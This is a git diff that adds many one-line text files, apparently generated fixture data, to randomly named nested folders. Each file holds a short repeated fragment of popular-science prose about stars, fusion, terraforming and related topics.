diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_qgnneqsehvoh.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_qgnneqsehvoh.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_qgnneqsehvoh.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_szcegclxewonyb.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_szcegclxewonyb.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_szcegclxewonyb.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_tdklopstafusa.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_tdklopstafusa.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_tdklopstafusa.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_tphmddwszzdhfgtbanmvdnez.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_tphmddwszzdhfgtbanmvdnez.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_tphmddwszzdhfgtbanmvdnez.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_wamoqdosyygf.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_wamoqdosyygf.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_wamoqdosyygf.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_wtehdfuntblxlzzsqdmead.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_wtehdfuntblxlzzsqdmead.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_wtehdfuntblxlzzsqdmead.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_zqrkkstxireidhqbk.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_zqrkkstxireidhqbk.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_zqrkkstxireidhqbk.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_cypcsfbbpqwgzhm.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_cypcsfbbpqwgzhm.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_cypcsfbbpqwgzhm.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_fiyyrdgkhvhiappnvubuhy.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_fiyyrdgkhvhiappnvubuhy.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_fiyyrdgkhvhiappnvubuhy.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_grzgwkicltzaefz.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_grzgwkicltzaefz.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_grzgwkicltzaefz.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_jcyreypuche.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_jcyreypuche.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_jcyreypuche.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_jqkpkvpmurypkyjopxv.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_jqkpkvpmurypkyjopxv.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_jqkpkvpmurypkyjopxv.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_lhegimtbgktdnpctywm.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_lhegimtbgktdnpctywm.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_lhegimtbgktdnpctywm.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_nceneobzhlps.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_nceneobzhlps.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_nceneobzhlps.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_ogoqkomthncsqfpsposy.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_ogoqkomthncsqfpsposy.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_ogoqkomthncsqfpsposy.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_ojpabsalj.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_ojpabsalj.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_ojpabsalj.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_qsprayhijkwss.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_qsprayhijkwss.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_qsprayhijkwss.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_srgckboabfnkszmp.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_srgckboabfnkszmp.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_srgckboabfnkszmp.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_uqzmqxricounajcqwkd.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_uqzmqxricounajcqwkd.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_uqzmqxricounajcqwkd.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_ywtepigfuhiapcuxjazeu.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_ywtepigfuhiapcuxjazeu.txt
new file mode 100644
index 0000000..0fa463b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/file_ywtepigfuhiapcuxjazeu.txt
@@ -0,0 +1 @@
+But hydrogen fusion cannot continue forever: in the Sun or any other star, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/aouaozmqnflkpipmkbrcm.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/aouaozmqnflkpipmkbrcm.txt
new file mode 100644
index 0000000..6a12763
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/aouaozmqnflkpipmkbrcm.txt
@@ -0,0 +1 @@
+Book 7, first century
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_acxqrxappbueuxmbxrp.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_acxqrxappbueuxmbxrp.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_acxqrxappbueuxmbxrp.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_edhescvqlsznvtxshfwun.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_edhescvqlsznvtxshfwun.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_edhescvqlsznvtxshfwun.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_innwnifhqxejrvwytiqzhdv.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_innwnifhqxejrvwytiqzhdv.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_innwnifhqxejrvwytiqzhdv.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_itxqpdlggzlhzonknnwtsah.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_itxqpdlggzlhzonknnwtsah.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_itxqpdlggzlhzonknnwtsah.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_jiuyrwyjmavjyafkejzlwsim.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_jiuyrwyjmavjyafkejzlwsim.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_jiuyrwyjmavjyafkejzlwsim.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_lagbcqkebukqq.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_lagbcqkebukqq.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_lagbcqkebukqq.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_nojzaugbyf.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_nojzaugbyf.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_nojzaugbyf.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_uwcxpmqjptrakkmvh.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_uwcxpmqjptrakkmvh.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_uwcxpmqjptrakkmvh.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_wijbootfyswpszrhtiuwrrow.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_wijbootfyswpszrhtiuwrrow.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_wijbootfyswpszrhtiuwrrow.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_xzsykadwlwzhtsjyvejqgq.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_xzsykadwlwzhtsjyvejqgq.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_xzsykadwlwzhtsjyvejqgq.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_ypucrwezssgeosbkb.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_ypucrwezssgeosbkb.txt
new file mode 100644
index 0000000..3692353
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/file_ypucrwezssgeosbkb.txt
@@ -0,0 +1 @@
+the thin gas from which they had once condensed. Here in the dark lush clouds between the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/hfwkyeevoucq.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/hfwkyeevoucq.txt
new file mode 100644
index 0000000..671f488
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/hfwkyeevoucq.txt
@@ -0,0 +1 @@
+The general concept is called terraforming: the changing of an alien landscape into
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/ipxoprutctoawnkyup.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/ipxoprutctoawnkyup.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/ipxoprutctoawnkyup.txt
@@ -0,0 +1 @@
+Viking Lander, we were repeatedly interrupted by the United States Air Force, performing
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/jrvyfokwtvjbkxohjcrccw.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/jrvyfokwtvjbkxohjcrccw.txt
new file mode 100644
index 0000000..a3bd5d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/jrvyfokwtvjbkxohjcrccw.txt
@@ -0,0 +1 @@
+be short and squat and sturdy in order not to collapse. But even in a fairly strong gravity
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/ohpfstemytjgxmcpfxh.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/ohpfstemytjgxmcpfxh.txt
new file mode 100644
index 0000000..abd5119
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/ohpfstemytjgxmcpfxh.txt
@@ -0,0 +1 @@
+somewhere. Some are chemically combined with the surface rocks. Some are in subsurface
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/wppluzhmmst.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/wppluzhmmst.txt
new file mode 100644
index 0000000..e44159f
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+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/wppluzhmmst.txt
@@ -0,0 +1 @@
+influence of an unseen planet on an observed star. Imagine such a star with a large ‘proper
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/wwwtxyeqlomu.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/wwwtxyeqlomu.txt
new file mode 100644
index 0000000..5682709
--- /dev/null
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@@ -0,0 +1 @@
+intense gravitational field has to do so much work to escape that it loses energy during the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/wznnykdkwprpmkbwre.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/wznnykdkwprpmkbwre.txt
new file mode 100644
index 0000000..018450a
--- /dev/null
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@@ -0,0 +1 @@
+called nucleotides, spell out the hereditary instructions for making a given organism. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/xsilltnastxl.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/xsilltnastxl.txt
new file mode 100644
index 0000000..7134318
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+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/xsilltnastxl.txt
@@ -0,0 +1 @@
+ancestors.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/ytvqukbcxpnzc.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/folder_rozxgjiqxk/folder_ffsvodjpmp/ytvqukbcxpnzc.txt
new file mode 100644
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@@ -0,0 +1 @@
+learning in general were the preserve of a privileged few. The vast population of the city
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_akntlnlbnmfsgqlskor.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_akntlnlbnmfsgqlskor.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_akntlnlbnmfsgqlskor.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_dsoiitanthqb.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_dsoiitanthqb.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_dsoiitanthqb.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_frflfwckqzvzqvoe.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_frflfwckqzvzqvoe.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_frflfwckqzvzqvoe.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_fyhjeweqpmcoin.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_fyhjeweqpmcoin.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_fyhjeweqpmcoin.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_huqejwiqfyxmlipzychfjmim.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_huqejwiqfyxmlipzychfjmim.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_huqejwiqfyxmlipzychfjmim.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_kmudhdwpdjcrt.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_kmudhdwpdjcrt.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_kmudhdwpdjcrt.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_lkdyugjrpkzkmttxjpks.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_lkdyugjrpkzkmttxjpks.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_lkdyugjrpkzkmttxjpks.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_mmlphlldbj.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_mmlphlldbj.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_mmlphlldbj.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_mpjlnievnkbs.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_mpjlnievnkbs.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_mpjlnievnkbs.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_poprgxgdqbmpyjynhgff.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_poprgxgdqbmpyjynhgff.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_poprgxgdqbmpyjynhgff.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_qpplnzblkqttyfsynf.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_qpplnzblkqttyfsynf.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_qpplnzblkqttyfsynf.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_qypergyjclgcgi.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_qypergyjclgcgi.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
